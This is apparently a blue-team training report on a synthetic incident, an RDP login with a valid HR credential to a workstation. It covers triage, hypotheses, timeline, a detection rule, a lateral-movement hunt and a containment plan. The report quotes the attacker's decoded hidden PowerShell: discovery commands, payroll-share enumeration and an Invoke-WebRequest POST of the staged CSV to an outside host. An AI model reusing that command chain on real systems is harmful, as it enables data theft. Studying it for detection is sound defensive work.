

Operation — The Silent RDP Login

HR-WS-017 · Case DSOU-WR-2026-1005 · TLP:AMBER

Eswar Mahalingam

Blue Team · Candidate 13
GS-STU-DSOU-2026-039A

23 failed RDP	03:23 IST RDP success	H1 ✓ H2 ✗ H3 ✓ verdicts	3 payroll files read	18/18 tests pass	P1 contain now
-------------------------	---------------------------------	--------------------------------------	--------------------------------	----------------------------	--------------------------

BLUF — Valid HR credential used over an internet-exposed RDP NAT rule, from an attacker host that already held the password (Entra MFA-denied sign-ins ~27 h earlier). Hidden PowerShell → AD discovery → SMB to FS-HR-01 → payroll files read → POST to first-seen host. Defender silent: living-off-the-land with a real identity. **Compromised · contain now.**

 Mission 01 — Initial triage

Question	Finding	Source
Username (successful login)	<code>ananya.rao</code> (HR Business Partner)	4624 TargetUserName
Source IP	<code>203.0.113.45</code> — external , not the VPN pool, not the IT jump range	4624 IpAddress
Source hostname	<code>DESKTOP-9KX2TQ</code> — default Windows name, not a corporate asset	4624 WorkstationName
Failed attempts	23 in 5 m 08 s (21:47:10Z → 21:52:18Z): <code>administrator</code> ×8, <code>hr.admin</code> ×6 (0xC0000064 no such user), <code>ananya.rao</code> ×9 (0xC000006A wrong password)	4625
Successful-login time	2026-10-04 21:53:02Z = Mon 05 Oct 03:23:02 IST (44 s after last failure)	4624
Logon Type	10 — RemoteInteractive (NLA, Negotiate)	4624
MFA involved?	No. RDP to the workstation has no MFA; Entra push protects cloud apps only	IdP config
Normally uses RDP?	No. 0 Type-10 logons in 30-day baseline; only Type 2/11 console logons. Account is not in the RDP-allowed group	baseline
Destination	<code>HR-WS-017 / 10.20.40.17</code> , reachable from the internet via firewall NAT <code>NAT-LEGACY-HR-3389</code> (203.0.113.200:3389 → 10.20.40.17:3389, "temporary vendor access", 2025, no owner)	firewall
Process after login	<code>rdpclip.exe</code> (session start) → <code>explorer.exe</code> → <code>cmd.exe</code> (21:54:31Z) → <code>powershell.exe</code> (21:54:40Z)	4688 / Sysmon 1
PowerShell command line	<code>powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0A... → 4104 decodes to whoami /all; nltest /dclist; net group "Domain Admins" /domain; Get-ChildItem \\FS-HR-01\HR\$\Payroll ... Export-Csv C:\Users\Public\p.csv; Invoke-WebRequest ... -Method Post -InFile p.csv</code>	4688 / 4104
Privileges assigned	<code>SeDebugPrivilege</code> , <code>SeBackupPrivilege</code> , <code>SeTakeOwnershipPrivilege</code> , <code>SeImpersonatePrivilege</code> — user is local admin on her own workstation	4672
Recent password changes	None. <code>pwdLastSet</code> 11 Jun 2026; no 4723/4724 in 90 days → credential was <i>known</i> , not reset	AD / 4723
Recent auth activity	3 Oct 19:11Z & 19:14Z: Entra sign-ins from the same 203.0.113.45 with the correct password, MFA push denied by user. User's own VPN session started only 03:41Z on 5 Oct from home ISP 198.51.100.140	IdP / VPN
Same IP vs other endpoints	Yes — <code>HR-WS-021</code> 6 failures, <code>FIN-WS-004</code> 4 failures (Type 10), 0 successes	4625

Triage read: the 9 wrong-password failures against `ananya.rao` followed by a success look like guessing, but the IdP proves the attacker had the right password ~27 hours earlier. The failures are the attacker trying three accounts until the one known-good credential worked over a channel without MFA.

Mission 02 — Hunting hypotheses

H1 — "An attacker obtained valid credentials and accessed HR-WS-017 through RDP"

Evidence required	Auth logs (4625→4624/10), source-IP reputation/ownership, user's login history, RDP session details (logon ID, duration, 4778/4779)
Data sources	Windows Security, Wazuh, VPN + firewall logs, Entra ID sign-in logs
Expected indicators	Unusual source IP, abnormal hour, multiple failures, successful Type 10
What we found	External IP + non-corporate hostname · 03:23 IST · 23 failures across 3 accounts · Type 10 success · user has never RDP'd · no VPN session at the time · same IP held the correct password in Entra ~27 h earlier (MFA denied) · user denies connecting
False positives ruled out	Remote employee (she was not on VPN; her real egress is 198.51.100.140) · IT admin (not an admin account, not from 10.20.5.0/24, no ticket) · remote-support tool (no AnyDesk/Quick Assist parent; native mstsc session)
Conclusion	 COMPROMISED (6 independent indicators)

H2 — "The RDP activity was legitimate administrative access"

Check	Result
Known administrator account	 HR user, not admin tier
Approved source workstation	 external host, not JUMP-IT-01 (10.20.5.25)
Change ticket	 none for HR-WS-017 (CHG-4471 covers HR-WS-009 only)
Expected maintenance window	 03:23 IST Monday — no window
Normal admin behaviour	 admins don't run hidden encoded PowerShell or browse payroll

Does it match normal behaviour? No. Control case: [it.helpdesk](#) → HR-WS-009 from JUMP-IT-01 with CHG-4471 appears 5× in the same dataset and the hunter scores it **INFO / H2 SUPPORTED** — so the logic separates real admin RDP from this session. **Conclusion:**  **REJECTED**.

H3 — "The RDP session was an initial-access point for further compromise"

Hunt item	Seen?	Evidence
PowerShell execution		hidden + encoded, parent <code>cmd.exe</code> ← <code>explorer.exe</code> (hands-on-keyboard)
New process creation		<code>whoami.exe</code> , <code>nltest.exe</code> , <code>net.exe</code> children of PowerShell
Credential access	 not observed	SeDebug held but no lsass access (Sysmon 10) — must still be hunted
Network discovery		<code>nltest /dclist</code> , <code>net group "Domain Admins"</code> , LDAP to DC-01
SMB connections		10.20.30.15:445 (FS-HR-01)
Additional authentication		4624 Type 3 <code>ananya.rao</code> on FS-HR-01 from 10.20.40.17
Suspicious outbound		198.51.100.23:443 <code>cdn-sync.example.net</code> — first-seen domain, POST of <code>p.csv</code>
Persistence	 not observed in window	must check Run keys, services (7045), tasks (4698), new users (4720)

Conclusion:  **CONFIRMED** — discovery, internal access and probable exfiltration of payroll data.

Mission 03 — Attack timeline (UTC · IST = +5:30)

UTC	IST	Event	Stage
03 Oct 19:11:42	04 Oct 00:41	Entra sign-in, same IP, password OK, MFA denied (×2)	Credential known
04 Oct 21:47:10	05 Oct 03:17:10	First 4625 Type 10 (<code>administrator</code>) from 203.0.113.45	 Failed RDP attempts
21:52:18	03:22:18	23rd failure	

UTC	IST	Event	Stage
21:53:02	03:23:02	4624 Type 10 <code>ananya.rao</code> from DESKTOP-9KX2TQ	 Successful RDP auth
21:53:02	03:23:02	4672 SeDebug/SeBackup/SeTakeOwnership/Selmpersonate	 Privileged session
21:53:11	03:23:11	<code>rdpclip.exe</code> — interactive session up	
21:54:31	03:24:31	<code>explorer.exe</code> → <code>cmd.exe</code>	 Suspicious process
21:54:40	03:24:40	<code>cmd.exe</code> → <code>powershell.exe -NoP -NonI -W Hidden -Enc ...</code>	 PowerShell
21:54:41	03:24:41	4104 script block: discovery + share enum + upload	
21:54:45–53	03:24:45–53	<code>whoami /all</code> → <code>nltest /dclist</code> → <code>net group "Domain Admins"</code>	Discovery
21:55:11	03:25:11	Sysmon 3 → DC-01 10.20.0.10:389	 Network connection
21:55:36	03:25:36	Sysmon 3 → FS-HR-01 10.20.30.15:445	
21:55:41	03:25:41	4624 Type 3 on FS-HR-01 from HR-WS-017	 Additional authentication
21:55:43–47	03:25:43–47	5140 <code>HR\$</code> + 5145 Payroll_Q3_2026, Salary_Revision_FY27, Bank_Mandates_HR	 Internal resource access
21:56:01	03:26:01	Sysmon 3 → 198.51.100.23:443 (first-seen)	Exfil (probable)
22:01–22:05	03:31–03:35	Same IP sprays HR-WS-021 (6) and FIN-WS-004 (4) — all fail	Expansion attempt
22:13	03:43	Defender quick scan — 0 threats	Blind spot
05 Oct 03:41	09:11	Real user connects VPN from home ISP	Legit activity begins

Answers: Who? `ananya.rao`'s identity — not Ananya. Where from? 203.0.113.45 / DESKTOP-9KX2TQ via the forgotten NAT rule. Normal source? No. Expected to use RDP? No. First process? `rdpclip.exe` (session), first attacker-driven process `cmd.exe`. PowerShell? Yes, hidden + encoded. Command line? above. Internal communication? Yes — DC-01 (LDAP) and FS-HR-01 (SMB). Same account elsewhere? Yes — Type 3 on FS-HR-01, 2 min after login.

Mission 04 — Detection engineering

Detection name: Suspicious RDP-to-PowerShell Chain **Telemetry:** Windows Security (4624/4625/4672/4688) + Sysmon (1, 3) + PowerShell Operational (4104) **Fields:** SourceIP · DestinationHost · TargetUserName · LogonType · LogonId · Image · ParentImage · CommandLine · Timestamp

```
IF EventID = 4624 AND LogonType = 10 -- successful RDP
AND SourceIP NOT IN approved_admin_ranges (10.20.5.0/24) -- unusual source
AND ( SourceIP is public OR user has 0 Type-10 logons in last 30 d )
AND WITHIN 15 min, SAME Computer + SAME LogonId/User:
    Image ends with \powershell.exe
    AND CommandLine contains any(-enc, -encodedcommand, -w hidden, -nop, -noni)
THEN raise HIGH
    escalate to CRITICAL IF (≥10 x 4625 same SourceIP in prior 30 min)
                        OR (4672 with SeDebug/SeBackup in same LogonId)
                        OR (Sysmon 3 to 445/389/88 or first-seen external host in window)
```

Severity:  High (Critical with escalators) · **ATT&CK:** T1021.001, T1078, T1110.003, T1059.001, T1087.002, T1482, T1048 **Implementations in repo:** Sigma correlation (`rdp_powershell_chain.sigma.yml`) · Wazuh rules 100810–100816 (`wazuh_local_rules_rdp.xml`) · reference logic + unit tests in `rdp_chain_hunter.py`

False positives & tuning: IT admins (allow-list jump hosts, not users) · approved remote support (allow-list the tool's parent process + ticket) · remote employees (require no VPN session — VPN-sourced RDP drops to Medium) · scheduled maintenance (suppress when a change ticket matches host + window). Test result: fires on the attack session, stays silent on all 5 legitimate helpdesk sessions and when PowerShell falls outside the window.

Analyst response: 1) call the user out-of-band to validate · 2) check source IP (ownership, VPN pool, IdP history) · 3) review the RDP session (4778/4779, duration, clipboard/drive redirection) · 4) decode the PowerShell and pull 4104 · 5) check lateral movement (Type 3/10 from the host, SMB, DC contact) · 6) review all account activity in Entra + AD · 7) isolate the endpoint if compromise is confirmed.



Mission 05 — Lateral movement hunt (HR-WS-017 assumed compromised)

Hunt	Result	Query idea
SMB connections	✓ FS-HR-01:445	Sysmon 3 <code>DestinationPort=445 AND Computer=HR-WS-017</code>
RDP to other systems	✗ none outbound from HR-WS-017	Sysmon 3 <code>dst 3389 from host</code>
New Type 3 logons	✓ FS-HR-01 (ananya.rao from 10.20.40.17)	4624 <code>LogonType=3 IPAddress=10.20.40.17</code>
Additional Type 10	✗ attempted on HR-WS-021, FIN-WS-004 — failed	4625/4624 Type 10 <code>IPAddress=203.0.113.45</code>
Remote PowerShell (WinRM)	✗ no 5985/5986, no <code>wsmprovhost.exe</code>	Sysmon 1 <code>Image=*wsmprovhost.exe</code>
PsExec-like	✗ no 7045 / <code>PSEXESVC</code> / <code>ADMIN\$</code> writes	7045, 5145 <code>ADMIN\$</code>
Remote process creation	✗ none on FS-HR-01	4688 on FS-HR-01 in window
Credential access	⚠ SeDebug granted; no lsass handle seen — open item	Sysmon 10 <code>TargetImage=*lsass.exe</code>
Unusual account usage	✓ HR user at 03:23, from internet, touching AD admin groups	baseline diff
HR document access	✓ 3 payroll/bank-mandate files read	5145 <code>RelativeTargetName=*Payroll*</code>
Domain controller contact	✓ LDAP 389 to DC-01 (enumeration, no auth as admin)	Sysmon 3 <code>dst 389/88/636</code>
File server contact	✓ FS-HR-01	—
Same source IP across endpoints	✓ 3 hosts targeted, 1 success	4625/4624 by <code>IPAddress</code>
Same PowerShell across endpoints	✗ hash of <code>-Enc</code> blob not seen elsewhere	CommandLine hash fleet-wide

Senior hunt question — proving compromise of a valid account with no malware:

- **Authentication:** credential worked from an IP the user never uses; that IP proved knowledge of the password in Entra ~27 h earlier; logon type (10) the user has never had; no MFA on the path; user's real VPN session starts 6 h later from a different ISP — the person and the credential were in two places.
- **Behaviour:** 03:23 IST on a Monday; 30-day baseline of zero RDP; HR role running AD admin-group enumeration — activity no HR user needs.
- **Process:** hands-on-keyboard tree `explorer → cmd → powershell -W Hidden -Enc` then `whoami/nltest/net`; 4104 shows intent (enumerate, stage CSV in `C:\Users\Public`, POST out). LOLBins leave no malware for Defender, but they leave command lines.
- **Network:** session-scoped connections to DC-01:389, FS-HR-01:445 and a first-seen external domain within 3 minutes of login.
- **File access:** three high-value payroll/bank files read in 4 s — machine-speed collection, not a human opening documents.

Put together, every layer is individually explainable but jointly impossible for the real user — that is the proof.



Mission 06 — Containment plan

#	Action	Owner	Status / note
1	☑ Isolate HR-WS-017 via EDR network containment (keep powered on for memory)	SOC L2	do first — RAM holds the session
2	☑ Terminate active RDP session (<code>logoff <id></code> / EDR) and remove NAT-LEGACY-HR-3389 at the firewall	SOC + NetOps	root cause of exposure
3	☑ Review account ananya.rao : disable, revoke Entra refresh tokens, kill sessions on FS-HR-01	IAM	
4	☑ Password reset (from a clean device, with the user) + check for reuse on personal services	IAM	password was known since ≥3 Oct
5	☑ Verify MFA: method list, recent registrations, push-fatigue; enforce number-matching	IAM	user denied 2 pushes — praise + brief
6	☑ Investigate 203.0.113.45 & 198.51.100.23: block at FW/proxy, TI lookup, Wazuh CDB list	SOC L1	

#	Action	Owner	Status / note
7	☑ Preserve RDP logs (Security, TerminalServices-LocalSessionManager/RemoteConnectionManager)	DFIR	hash + chain of custody
8	☑ Preserve PowerShell logs (4103/4104, PSReadLine history)	DFIR	
9	☑ Capture process tree (EDR export / Sysmon 1)	DFIR	
10	☑ Document network connections (Sysmon 3, firewall, proxy for <code>cdn-sync.example.net</code> , bytes out)	SOC L2	size the exfil
11	☑ Review HR file access on FS-HR-01 (5140/5145) — list every file read	DFIR	input to privacy/DPDP assessment
12	☑ Search other endpoints for the <code>-Enc blob</code> , <code>p.csv</code> , <code>DESKTOP-9KX2TQ</code>	Threat hunt	
13	☑ Search all <code>ananya.rao</code> activity (AD, Entra, VPN, M365) 3 Oct → now	Threat hunt	
14	☑ Search same source IP everywhere (FW, VPN, IdP, Wazuh)	Threat hunt	HR-WS-021, FIN-WS-004 → harden
15	☑ Save SIEM queries used in the case file	SOC L1	reproducibility
16	☑ Forensic image + memory of HR-WS-017 (check lsass access, persistence: 7045/4698/4720/Run keys)	DFIR	closes H3 open items
17	☑ Inform business owner (HR Head) + Legal/DPO — payroll & bank-mandate data likely exposed	IR Manager	breach-notification clock check

Recovery & lessons: remove local admin from HR users · RDP only via jump host + MFA (RD Gateway / ZTNA) · Wazuh rules 100810–100816 to production · quarterly audit of inbound NAT rules with named owners · alert on "IdP correct-password + MFA-denied" as a high-fidelity *credential-compromised* signal.

🧠 Senior SOC question — A vs B

B (the correlated chain) gives far stronger detection context.

"Successful RDP login" on its own fires thousands of times a day on a real estate — admins, helpdesk, people working from home. Alerting on it either buries L1 in noise or gets tuned off. It answers only *"did someone log in?"*.

The chain **failed RDP → success → privileged session → PowerShell → internal access** answers *"did someone log in and then do something an attacker does?"*:

- **Event correlation** — each event alone is benign-possible; joined by host + logon ID + 15-minute window, the sequence is an attack narrative. Correlation turns five medium/low signals into one high-confidence case.
- **Behavioural baseline** — "0 Type-10 logons in 30 days" and "03:23 IST" make the login abnormal *for this user*, which a static rule can't know.
- **Process context** — `explorer → cmd → powershell -W Hidden -Enc → nltest` shows hands-on-keyboard intent; a login event has no intent.
- **Identity context** — non-admin HR account, not RDP-authorized, password proven known in Entra ~27 h earlier, no MFA on the path.
- **Network context** — DC LDAP + file-server SMB + first-seen external host inside the session shows movement and probable exfil.
- **Detection confidence** — every added stage multiplies confidence; the analyst gets the story, not a puzzle.
- **False-positive reduction** — legitimate admin RDP rarely chains into hidden encoded PowerShell plus AD enumeration from a public IP; in this dataset, the chain logic fired once (true positive) and stayed silent on all 5 legitimate admin sessions.

One line: a single event tells you *something happened*; a correlated chain tells you *what, who, how far, and how sure you are* — which is what decides whether you isolate a host at 03:30.

MITRE ATT&CK map

T1133 External Remote Services (exposed 3389) · T1110.003 Password Spraying · T1078 Valid Accounts · T1021.001 RDP · T1059.001 PowerShell · T1027 Obfuscated (`-Enc`) · T1033 / T1087.002 / T1482 Discovery · T1021.002 SMB/Admin Shares · T1039 Data from Network Shared Drive · T1074.001 Local Staging · T1048 Exfiltration over alternative protocol

References: MITRE ATT&CK T1021, T1021.001, T1078, T1059.001 · Wazuh documentation · SigmaHQ. All data synthetic; no exploit or offensive code in this repository.